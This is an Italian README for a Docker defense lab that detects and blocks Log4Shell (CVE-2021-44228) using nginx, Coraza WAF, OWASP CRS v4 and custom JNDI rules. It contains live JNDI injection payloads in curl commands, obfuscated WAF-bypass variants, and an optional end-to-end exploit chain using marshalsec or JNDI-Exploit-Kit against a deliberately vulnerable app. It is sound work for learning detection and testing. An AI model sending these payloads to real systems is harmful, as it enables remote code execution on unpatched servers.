
Log4Shell (CVE-2021-44228) laboratorio di difesa — nginx + modulo dinamico Coraza WAF + OWASP CRS v4. Solo uso educativo.
Scopo educativo/difensivo: questo lab contiene un'app intenzionalmente vulnerabile (Log4j 2.14.1) e un kit di exploit JNDI, SOLO per imparare a rilevare e bloccare Log4Shell in un ambiente isolato. Non distribuire su Internet, non usare per attaccare sistemi che non ti appartengono.
Lab pratico di difesa Log4Shell (CVE-2021-44228) utilizzando nginx con Coraza WAF integrato (modulo dinamico) + OWASP CRS v4 + insieme di regole JNDI personalizzate. Include container target Spring Boot vulnerabile, attacker-box Kali, e Suricata + Wazuh per l'osservazione.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, con modulo Coraza + CRS v4
│ ├── attacker-box ← Kali + kit exploit JNDI
│ └── suricata-ids ← sniff traffico dmz
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← seconda NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Flusso delle richieste: client → nginx (Coraza inspect) → log4shell-app. Il WAF gira all'interno di nginx (tramite modulo ngx_http_coraza_module.so), non in un contenitore separato.
| Elemento | Versione minima |
|---|---|
| Docker Desktop / Engine | 24+ con Compose v2 |
| RAM libera | 4 GB (Wazuh consuma ~1.5 GB) |
| Spazio su disco libero | 6 GB (immagine build artefatto) |
| Tempo di build iniziale | 10–15 minuti (libcoraza + modulo nginx + strumenti attacker Maven) |
cd /path/to/log4shell-nginx-coraza
docker compose build
La fase più lenta è nginx (build di libcoraza v1.4.0 con Go 1.25, poi compilazione del modulo coraza-nginx). Verrà salvata in cache dopo la prima build.
docker compose up -d
docker compose ps
Dopo circa 30 secondi, stato previsto:
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# attraverso WAF fino all'app (endpoint reale di log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ senza header X-Api-Version restituisce 400 — è l'errore whitelabel di Spring Boot (nessun handler), non è un blocco WAF.
# JNDI in User-Agent → regola 1910010 scatta, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI nell'header log dell'app: X-Api-Version → regola 1910001 (header+arg) scatta, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI nella query string → CRS fase 1 blocca
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Previsto: HTTP/1.1 403 Forbidden, body <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (regola 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (regola 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (regola 1910026: Content-Type=json + corpo contiene jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Ogni evento in JSON Lines, contiene:
transaction.is_interrupted: true → WAF ha bloccatomessages[].error_message → quale regola è scattata, file e riga, severitàdocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filtra i blocchi:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
Di default
backend-netè impostato suinternal: trueeattacker-boxè solo indmz-net, quindi log4shell-app NON può raggiungere attacker-box. Per far funzionare la catena JNDI end-to-end, esegui prima il passo 6.0.
Modifica docker-compose.yml, aggiungi attacker-box a backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— aggiungi
Oppure sposta log4shell-app su dmz-net (più semplice ma riduce il valore educativo della segmentazione):
log4shell-app:
networks:
- backend-net
- dmz-net # <— aggiungi
Applica: docker compose up -d (Compose ricrea quel contenitore).
docker exec -it kali-attacker bash
cd /opt/exploits
# Opzione A: marshalsec — semplice, solo relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Opzione B: JNDI-Exploit-Kit — toolkit completo, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
Il server ascolta su LDAP :1389 e HTTP :8888 (esposti sull'host nel compose).
# Da attacker-box, chiama direttamente log4shell-app su backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Verifica:
# Il marker Pwned viene creato nel container dell'app
docker exec victim-app ls -la /tmp/pwned
Se vedi il file → la catena di exploit funziona, l'app è ancora vulnerabile, il WAF NON viene bypassato passando per la strada principale.
# Passando per nginx (strada pubblica principale)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, NESSUN nuovo /tmp/pwned
Il file ./coraza/config/log4shell-rules.conf è montato :ro in nginx su /etc/nginx/coraza/log4shell-rules.conf. Dopo averlo modificato:
docker exec nginx-proxy nginx -t # controllo sintassi
docker exec nginx-proxy nginx -s reload
Se Coraza segnala errori di parsing (failed to compile the directive...), i worker usciranno e nginx -s reload non riuscirà a far ripartire. In tal caso:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Ordine di inclusione (in nginx/coraza/main.conf, già baked nell'immagine):
SecRuleEngine On, log di audit, log di debugcrs-setup.conf — inizializza tx.*_anomaly_score, soglieowasp-crs/rules/*.conf — intero CRS v4.7.0log4shell-rules.conf — regole personalizzate (montate dall'host)Intervallo ID regole personalizzate: 1910001 – 1910999 (evita l'intervallo CRS 900000–999999).
EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW non validi.IP:, SESSION:, RESOURCE:) non funzionano se il backing store non è configurato. Usa tx. per richiesta singola o rate-limit tramite nginx limit_req_zone.(unhealthy) / curl localhost rimane in sospesodocker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
Di solito è a causa di una sintassi errata in una nuova regola → tutti i worker escono con codice 2. Correggi la regola, esegui docker compose restart nginx.
failed to create WAF: ... unknown severity: HIGHCambia severity:'HIGH' → severity:'ERROR' nella regola personalizzata.
failed to compile the directive "secrule": invalid arguments, expected collection TXLa regola sta usando setvar:ip.xxx o fa riferimento a IP:something / TX:NEVER_DECLARED. Rimuovi la collezione persistente o raggruppa la logica in una singola regola a catena.
Exited (1)L'immagine jasonish/suricata:latest ha un proprio entrypoint e il yaml montato da ./suricata/config/ potrebbe non essere compatibile con la versione nell'immagine. Soluzione rapida: commenta temporaneamente il servizio suricata nel compose, il lab funziona comunque (non serve IDS per il funzionamento di Coraza). Per una soluzione definitiva, sostituisci suricata.yaml con il default dell'immagine (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).
L'immagine base è su Alpine 3.8 EOL. Assicurati che il comando nel compose sia ["java", "-jar", "/app/spring-boot-application.jar"] (NON apk add iptables — il repo Alpine 3.8 è stato deprecato).
http://localhost:5601Wazuh manager + dashboard necessitano di wazuh-indexer (OpenSearch) per funzionare correttamente. Lo stack attuale manca di quel servizio — la dashboard si avvierà ma il login fallirà. Se serve, aggiungi il servizio wazuh-indexer seguendo il compose ufficiale.
# Ferma + rimuovi container, mantieni cache immagini
docker compose down
# Distruggi tutto (inclusi volumi Wazuh, forza rebuild successivo)
docker compose down -v
# Elimina anche le immagini build (libera ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # multi-stage: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; in http{}
│ ├── conf/
│ │ └── default.conf # reverse proxy → log4shell-app:8080
│ └── coraza/
│ └── main.conf # configurazione engine + Include CRS + personalizzate
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # regole JNDI personalizzate, montate :ro in nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # punti di mount per nginx, coraza, app, suricata, wazuh
| Intervallo | Responsabile | Sovrapposizione range CRS? |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanner, blocking eval) | (di proprietà CRS) |
| 1910000–1910999 | Regole Log4Shell personalizzate | No |
Tutti gli ID regole personalizzate esistenti: 1910001–1910008 (pattern JNDI), 1910010–1910014 (per-header), 1910015 (protocolli alternativi), 1910020 (rilevamento scanning), 1910026 (catena corpo JSON), 1910028 (catena corpo XML), 1910030 (paranoia 3), 1910999 (echo valutazione anomalia).
Fine: se il lab arriva fino al Passo 4, il WAF funziona. Il Passo 6 serve solo se vuoi dimostrare l'intera catena di exploit end-to-end.
| Servizio | STATO |
|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | potrebbe essere Restarting (vedi sezione 8 — non blocca il lab) |
TX:VARNAME può fare riferimento solo a variabili già impostate con setvar nella stessa richiesta. Se una regola è in una fase diversa, considera di raggrupparla in una regola a catena.